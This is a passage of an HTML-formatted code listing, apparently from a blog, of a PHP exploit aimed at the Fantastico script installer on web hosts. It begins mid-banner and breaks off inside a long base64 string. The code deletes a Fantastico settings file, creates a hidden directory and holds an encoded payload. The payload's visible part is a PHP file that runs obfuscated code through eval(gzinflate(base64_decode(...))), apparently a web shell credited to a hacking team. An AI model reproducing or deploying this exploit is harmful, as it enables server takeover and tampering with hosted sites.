\ \    /_:/____/\&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt;  \_______\/ \_\/  \__\/ \__\/ \::\/           \_____\/ \__\/\__\/ \_______\/    \_______\/&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt;                                                                                           &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; &amp;lt;p&amp;gt;&amp;lt;font face=&lt;span style=&quot;color: #006080&quot;&gt;&quot;Tahoma&quot;&lt;/span&gt; size=&lt;span style=&quot;color: #006080&quot;&gt;&quot;2&quot;&lt;/span&gt; color=&lt;span style=&quot;color: #006080&quot;&gt;&quot;#FF0000&quot;&lt;/span&gt;&amp;gt;* Note : This File Must be in The Main Website Address To Build Exploit Successfully &amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; &amp;lt;div align=&lt;span style=&quot;color: #006080&quot;&gt;&quot;left&quot;&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt;     &amp;lt;table border=&lt;span style=&quot;color: #006080&quot;&gt;&quot;0&quot;&lt;/span&gt; cellspacing=&lt;span style=&quot;color: #006080&quot;&gt;&quot;0&quot;&lt;/span&gt; cellpadding=&lt;span style=&quot;color: #006080&quot;&gt;&quot;0&quot;&lt;/span&gt; width=&lt;span style=&quot;color: #006080&quot;&gt;&quot;100&quot;&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt;         &amp;lt;tr&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt;             &amp;lt;td&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt;             &amp;lt;p align=&lt;span style=&quot;color: #006080&quot;&gt;&quot;center&quot;&lt;/span&gt;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;font face=&lt;span style=&quot;color: #006080&quot;&gt;&quot;Verdana&quot;&lt;/span&gt; color=&lt;span style=&quot;color: #006080&quot;&gt;&quot;#FF0000&quot;&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt;             &amp;lt;span style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;background-color: #FFFFFF&quot;&lt;/span&gt;&amp;gt;Status b0x&amp;lt;/span&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;font face=&lt;span style=&quot;color: #006080&quot;&gt;&quot;Verdana&quot;&lt;/span&gt;&amp;gt;&amp;lt;span style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;background-color: #FFFFFF&quot;&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt;             &amp;lt;/span&amp;gt;&amp;lt;/font&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt;             &amp;lt;textarea rows=&lt;span style=&quot;color: #006080&quot;&gt;&quot;10&quot;&lt;/span&gt; cols=&lt;span style=&quot;color: #006080&quot;&gt;&quot;96&quot;&lt;/span&gt; name=&lt;span style=&quot;color: #006080&quot;&gt;&quot;Status b0x&quot;&lt;/span&gt; style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000&quot;&lt;/span&gt;&amp;gt;&amp;lt;?php&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt; Error_reporting(0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt; unlink(&lt;span style=&quot;color: #006080&quot;&gt;&quot;../fantasticodata/kanoodle_settings.php&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt; $direcotry = &lt;span style=&quot;color: #006080&quot;&gt;&quot;../.fantasticodata&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt; $mkdir = mkdir($direcotry);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($mkdir){&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] Making Directory&#39;s Exploit ... Done\n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt; }&lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;{&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;[+] I Can&#39;t Make New Folder , I&#39;ll Continue If It Exist&#39;s !\n\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum46&quot;&gt;  46:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum47&quot;&gt;  47:&lt;/span&gt; $trsm = &lt;span style=&quot;color: #006080&quot;&gt;&quot;PD9waHAKICMgWmFJZE9vSHhIYUNrRXIgLSByMDB0QGRucy5qbwogIyBNYXZpMSB+IFR1cmtpc0gtUnVsZVogVEVBTQogZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnN2YxNWU5ckkwakFPLzUvcnluZFFkUHNlWUlJeFl2RWFlK0o5aWJkNGkrMGtEMGNnQVlvQk1SSVlrNXo4UHZ0YlZkMHR0VmFNN1p3emM3L2pjeVpBZDNWVmRYVlZkZlgrK3BVeTA5RjdyYUhlTWxjelpxK1ZXVkZtOU9HZ3Jhd3FSZmphMDd1UWpvbDkzWFhwMjN1clo5VWMweDNZanBsVlhiMXAxcnEyWWFxNWNKYmROM3UxdXU2YWh1VkVjNzJDTmF2WDZBemhjd0tZK1dBMjRtRU15OVhySGJQV0hQWWFBOHZ1dVZFUXZkT3hSN1doMDZrMWtTMFB3RFVIMll6cE9MWlQ2OWl0VFA3NDh2QXdrQWVwTmNwM00va2k1REJZeCt6YnpzRHF0YkxidFhVcVlUV3oyVGZ2QlFmQXJPVU8zR3dHOGJUTVFTYVhVLzc5YnlYN252L09abVRoWkhKdlZvbHdDQ1pXUkI1dzdzZU1qR1JWVy9tcG1CM1hEQ1VYVjM2dUtJYlp0SG9vellIdURBWlcxMVR6NzRGRTEybzROdjdNNXFBS1VOOWFWMjlaamRxZlEzdGd1alZuMktOTXJQZDd6TVZmdFk3VnRRWXN6Wk5TVjMrZzlobFM1UkdNU2N1SHNJZUQvbkJRcXcrYlRkTUJ3Ykg4R2ErS29HOHhGYzhnekwzcHVJQVdJRExGZ3BZaFdiL25pYldHM2UzcjBNTHYrKzArVDh2bThrcW1VdEFLeFV4T1dWMVZacldjOGtPWnFaMmVuRjhBa3Q5bTlpNHVUdWxYN1dyOTdCd28xSGEzcFJ6NDRXV2NiNTlkYlovNWVleTNsNzE1Y3ZKaGY5dlBacjk1OWs5Z0ZKcXpGUlpycTk4QWVRTkxUVkJOdmRGV3NwdzMzVlZtN2xiWFp1NTlmai9QM0gwRjlPN0FzZnB1UjNmYnBwdUZmRVF1bGVac2hNcXoxQlFNeUdDV1cvdXFRbEpDanQ5WUxqYVpxUHpuek9uZWFXMzk4bUt2ZGdrcG1hK2twbDJqbWdMeFpuV1ZYRWNLNU9rbkRvZU9CVW0zVGQwd25Xem0wNmRQcyt2QWt3bksxOUFINXJLeW9idFdBMVZCZ0tDczU2QjlsVXBSVXk1N1dBUGJzYjZiQmdLQjZRMnk2cnY2Mm5xallicXVzbVgyTE5ONE4xZGZVM210WnhBUHF0UHJWKy9hZzI1bkRUOGhDVDhIMXFCanJ2MlBjakYwN2l4M2IvWnMyREZ2bGZPMmVYajRibzVsQWxUWEhPaEtlekRvejVwL0RxMzdWWFhUN2cyQTRkbUxjZDlVbFFiN3Rhb096SWZCSEpKWVVScHQzUUd4cm82c25tR1AzRm10Vk5WVXdBWFl6aTl1RHJmaDY4QlJmcngrdFhGeXRyVjlObnUydjd0M3Nhd28vNlBUbjZMMUh4VFg3bGpHaWdkeWNYSUtBQUJpMGw4Y3lPSDJEaUpKQTlrNHViZzRPVnFPSmRTd083WURXVVg2ZzRTZndLWHhkK0N5TU1BdVFmTlpYVmFLL1FmRXQ3NzVZZmZzNVBKNGEzYno1UEFFMHY5bnE3SlYzRnhNUkdURVlHbENDeThyQy8yQmNtVTZodDdURTBzN01hVmp4WXI4eXFBQmFZRDdCT1Y1QXZ0V0Q5eHVYSU0xNlMrMXdaYm9MN1hCa2tHOEJvc2pGSzJFV1RHTHhxSW4yY1dKa25YTmp0bjR2MVl6WHJWaEhicllnQzdVaDRPQjNXdGJyWFlIL2hzb3BRazY0UkVkV2NhZ3ZheVVpLyticEhmZ29xQUQxZjkra3R5eEhrekRIYnRLM2U0a3VZR05rNjBickZsWGQxcFdieGtweEVIVzljWmR5N0dIUFdOVzVIbkVBTXY2Y3NmcTNTay9HQ09PYWF3b0Y5dlhGN05iMjVzblorc1greWZIeTByUDdwa0VlbSs1MXNBRUo2azhDbHlIZ1BIZWZDVHV0ZzB4anZLRDhWanZETTJWSk5oM2M2SlhlZWMyb09zZktGNlkveVh6VGIvWFdlcVhERUNJcUZWcFd4UmozbWN0SS9mNkZZaE5VUXk3TWV4Q1gxYUFNR2E3WStMWGpmRytnUkFGZHpEdW1BV0l2dnNkZlF6OTZaY01FditTV1FrVWJOajJuV1d1V3NiYkx4bUlSaW43cDBUVWJVTmsvaHlpOVk3ZHVFdWxxa1dwUW5mY2ExRmwzWUZFR2VPZkthajdkYzVoYVNWUUdXSUlJM0tXSlF1WE1VT2QveHhyaURXSWF4c1Fucm5LZDZ2ZnRMQXJVTzUxUjVreDlBRkU4ZzJvcWU0NCtqZ0xNUXlsTndZd21JRUFQNUpoMnMyYWxLbCtlYWdXdnp4VTZsOGVpbFg0Yng3K0s4ci9xYndjR0ZITmJqYkJwYkN4bnllcVljOTZLRzNaN2dXT0JXYndGd2I0Q0VSeEp2NGdEaUJGenFiOFB4UVFJbFFCUmhqS3N2ZmRnNktCRTVUeWNIek9qT0ZMNXF2eVR0R1dGa01Fdk14Vnlsd0paSFh0SHNzSkpSdjZPQzY5YlE5aFNQZVZEM1BsQWxadkNGRjZYQlkwZzkwenZLeWZpbU1PaGs1UHljWlZZSlpYNE4wN3BWU0ZrRGxZUzhZdDVtblJQTVl5WkdyemtVekJOK2JHRlBXWWgvd29WYjhDYTJzUTc5TW9RclN5YmhnN29IWlpVcmc4Ry9ubldmVzlwcWFRbnNZU09BTHU2QTB6bS9ueUpRUERyYmtNTDRJRE5vTVhNc3hHMjN3QUR0cVdPN3NXVkNOcWZRUUdDQUdmK2ZLUVVRcTgvT2Y1ci83M0Jmd2V6SzVJMmRWb2RrbktMa2V6aTFLMjloVUdEZmQ2SjV1Um1WRUoya3NBQk9vS0RVZWJZYXNxdzM4VmxlVVVLRXVyY01QeWt6eGJrNUlXZzBrZU1VaUJWcWwxekI0VE5ueGh6WUxrR3c3NkF2aTNYUElUditNWFNHNTl4L0d3QThPZWFCNUVGWUFyeXo5WWNsNHA1ajBLbEpJRHhhM0FBTHBFdEVJOGZCYzRHY045NkRXem1TdHNldUFuUGgweHhPYndHb2J6N2pNK1E2UlBjUUJGUDVHQS9GL0VJVm90cUp3eXU2Wnc3L2taVFJaZ3NFNkdROTVVYmtFTi9pdXBYbWE0eGVSVXYya253L29ON0tYS2Jld2xSdVVZbXlYRUZaY3BTVE9VSFJHb2tnQlUvTVVaeUdlNWxKVGp0WmpVRGVWV1lwUGYrZ3JaZEFMb2hES0lRcUliWk0xUFlBR2ZoLzFzbGp3YnR4R3IyKy9ZQm5nMW1TT3VRMFFKRUxKdU5SWlMwQU5RM2pVd3hBVy9aTUdIRG5UVUJibTVyTytRbDQyaXpVMExkaVUxUHVjZ0laY3NHN05rYmY0cEM4dnpMTC9Ob055b2YyQmZqV0czbjU4UitTalBWc2V1Nngyb05ac0lxWm05aG0xWXZkYUtsOVBGcWNUQnVHL3lDRUNVeHJnaFU0Y1lLS1A4OXBzU25WQ3RleDR1UTNOb0hpL1kvcGxDL1hzSko2czk3TmlyNlAxK0IyZVNBTTNjd3l6aUpoakJPWURVSmJjcGtxbDN4T2d0aHI5V01uK3Q3MVJYTTVhNzFuY2tIQllLOHZnd1N6alRXUmNnRXVlQzNPUDRUbU03VmF5VGVPUDVJblJkVlhybVNBU3kyWnlVQTJycUJScWU2b2l1eWRjcjdKWm1LOHozKzVXVnNRak12SzQvVXBpekd3TnpNQXNFVEwyYkNTbDExM1pNU0RmQWlreVFuYSs1T0ZyS2Uwc2pPRk05Y0dqNUF5ZWZJK0tqUllWTTdyZmZZckxBUmhOeUlCeDJFN0lhSGR0RkhjS1c0Q0o5VDBRWW8zbEZwWFdRVVJ2RjhPWjlreHdCUWVLNkFQQ0s3ZmFlS0lqMEZhZzJvZlVTbEo4b3U2a3JoUEpLWnpzMkQwaWl4NXBjS1dJZnMxakRFR2dlZm5JRXZLbHdkV0dLK2dDQVJOa2wvTWdDeDdZaVRhZHpDSnhOWjRoUnU3aElXUW9wVVNvdFhNZW9jVU4zR1dGUnEzQ3V4MEV5UmhTRVh3T09TQ1FHeS8rQW1OdG02dnZaVTk5Q3BvYlRQTlg1ek5jVmI5U0NlQUs5SVNMODNySHFraDBTYWxEN1J4ckdHOGFLOG9PVnczOEFEUzJCTkVZR3JzdW9EYnMveG5SbzZKL01tREFscXdyM1UwQU9sdWZtMUlMa0RYaUxLMTdsUTJicnVZR1V5bXZhRXRSZWVUL3M0VnlPVnpCSkdGM2Q2dWlEQVdnRWdOcDVpRFRzYm40R0hOVzMvQXhMSjNiWWlnU3FrN29ERU1zS0FYNXh2dlRVRlQ4WHc4R2ovYVB0MlN1MlFyV3NhSVZpSEpDOGpMQ3NnQXdZcWM4WjlHdklmZ0I2UmFIbDJTK3FCSWdwbWE4RjlZdWFpdC9SZTI3VGRHYTNlUiswck9CNjRYd0ZDOFVVYkxTSHZidWFDejUxa0dXQU5kSHZDTUpjblROZmM3bUNvQTNOaTNKa0VpVFpxV3BlNEtYMjVPTFhwTkUwamF6WlZFaDNYSFAvN0lpWmtMYnQ0dFJFcG1NMzlBNyt5UENaQzF5THhRenhlK2lhanZ3YlY1amszMWdEK2JkUmwzOUJSWG9tS1FGUEFMVVVVeXU0K0N0UzdaSHJsZWdNdXozeHF6ZnMxcVJNL05tMHpJNGhFckF6VzVIREtpSkhZYWc3c2dha2NEUmdOdXFZMWtCbU0wZmo4NCtIbVdXVUtPanRZQ3hnc09yTU1QemZXSmx5dVRpZllVdVFjY3ZTM1RISXRjWkpZNC92eTU0ajhxV0F2aVlBTDJoakV4UXl5NW1DUkRzdkJ2dlFCT0k3TGZDUk1sZ3Vyc2piUTZkaFppTjBmQzVBRytwZzNYY3JvdkxuMDFWZXE1VExhWlYzcDZ5OG0xajUvQlNWajFZNHFiNm5nTHZsbU5OVnVsb3BsNmpTM0VXcXlPRnFSaTNJREtzWkJlR2xaUHlKeWNpemxJdy9DUnJZSDltT0laZUFKTXd5Nm14emlKZUJaZ1Vaek81ajVONXZUU0YwSHppTEZYcVcvcHc0ZWdNNnorVUV2dXlHMWJGYmR1OFJYQW5Rck56U2lpUVk3d2NLNDRsTUJ6MmhQMDlPQzE0MW8vNTRWOEh0MWk4cE1aZC9tZ0Z5YTNnMnlvQ09UMnEzeDRyb3o2SHBnS0hRaDJRaUlQNVYvcFU4T0lVcmp4SmdVNGVvWW5WMU5TdGg0a0psdERKenYyY0tqYmFUTGVZS21kL253QjFRZXB3a0pJYUlDOSt2MHM4WTNWZ0oxSktQNmVMMENYNG45YWFsNUthTXI1enJWMjZxdW1RK0lqRGJINVdKNTV3akZ4Mmt6TDJ5eHFhWUgxR0RzSGVNclFhNEQxNkhNUE41cmg2eDdRSEZJUEFZVE5raVdPeVpsWkpkVkd5RndQUDBjUVBKZEJYaWpVSWx2YWJ4aHN6SU91QmxHN2NpeXNSem9WSU5lOWdiQkNyMmhsWUUvTHJJTlp6eHBJbTRTWkM1bFFCanF3emtjNllMQVQ5RTZCalkvcHhnMmpoaUF0TEREb3VVQkRNZzhWVnYrY3NURFlWamtYVFJSS3ZTYnhhWnJSWWY0dy9DYUxqMXhyVjhnQ2FuSVlHemxHQUJOcFNudGdmeDRsS2FYMFdhditUbG16Q1dhdGVncTdFYmdSYkQ4VENIY0V4VHlDcEF3ZzlDQk0rNUgwR1pJUmtTVyszT0hMc0JGb3BmYzFJNy80ejNLbEVSSlZwOHZJamNaNHJJblNnaTl6OG1valMvRlJGVWdndUpsUktIZlpxSW9IQ2FmREQ3UDY4L252dUxxUzE0RWZnSkJLYXVLcFJNcm11NENkNitYYUVTV0h0M29BOW8zZi9YMXovQjNlRWdFWXJqbmpEdWk4VWdnSkppQWxVc0VYRjVtSWhybmRBVC9NLy96RDd1THhNc3JmSFNDdjF0akVNN0l5KzIxNCtVVUpHU1YyUVRLamt3aldVbFU4Q0ZmeVdyR25QZHVSdGxiOWxhcGwzYWNyR3lLTGFsUXkxQkw3Q1lGRjRHb1NzU1h4Y29GQWFOMzRLQVZRSDR5UG9yandvTzR3U3NVQ2ExWFViV2x0aFFVVG5mTy9ta2JKNXRyMTlzS3hmckc0ZmJ5cjlFQlFxWmYrRTJiMDF1WmphOVJ2amt2akJCRTlpS1YwRDlQbWRZYXpCcDBXUlNDSDVLSVUyczRQYmg5dWFGOHJ1eWMzWnk5T3pLTlRFZ3M2Q25uckhlaGF3UWt0NitsVFpVQit4dXh2b2EyQmdkeXVQYm8zblhDY1VoSEhjYmV0K3M0WTdwWG92MlN2K01pbXIvK0h6NzdFTFpQNzQ0Q1ZSTnljS3Y5MkoxVVAxWFh2bVhtZzlGSmlDZWYrV1VxL1hEeSsxekpmc2xJeGZBelJSK0FjRWxsUGlTeWExa3BEZ3B0dU1OcWVONW1qb0dtMGRVNGEvWE1ycGh5UHZXSjdTRjN4UktWcFpyWG9scmhoZHFoYml1UGRnVVBzUS83ZkhyMnlNY1RnVGI0dVJzZlJPOExXK0hPQ2M0N0JtbWd6T3o0QU9HMUNGbnZHRE9NSnM2aUh4WkVuaTRLOWNDWFRsYm8zcmNuSTJZYUdYTFdqSER6MWpqRnpPVWp5c1ZVRmFhWjN0Y09VK29GRmROTEJSWVp0V2JUY2czRFJiZlBrNFdYSmhjSkVFTWdiQXNWaVplYVhlYTBuR3pVaWlpeDVZUHoxZ2xEYUFmcFUzOGdNNGJIdm14ODBDWlJ0ZkFJemkvL2FZRVVsWlhWY01lOVRxMmJ0Unc0VXhGaUZCUm84WldoOFR3bmxiWVZzVVNiQWdvajR1eHVSK0JCWGh2U1JaWFpLVUYyUWgrZVcyV0w4MUtleEtJckwvYUdNZGRZTmxmTExueWFRdlRjYkphUGxKc0pTUVFWZVZMQU9JNGt5dy9wUEhlcm9NYW0zb3ZLL1laOFAyTjd6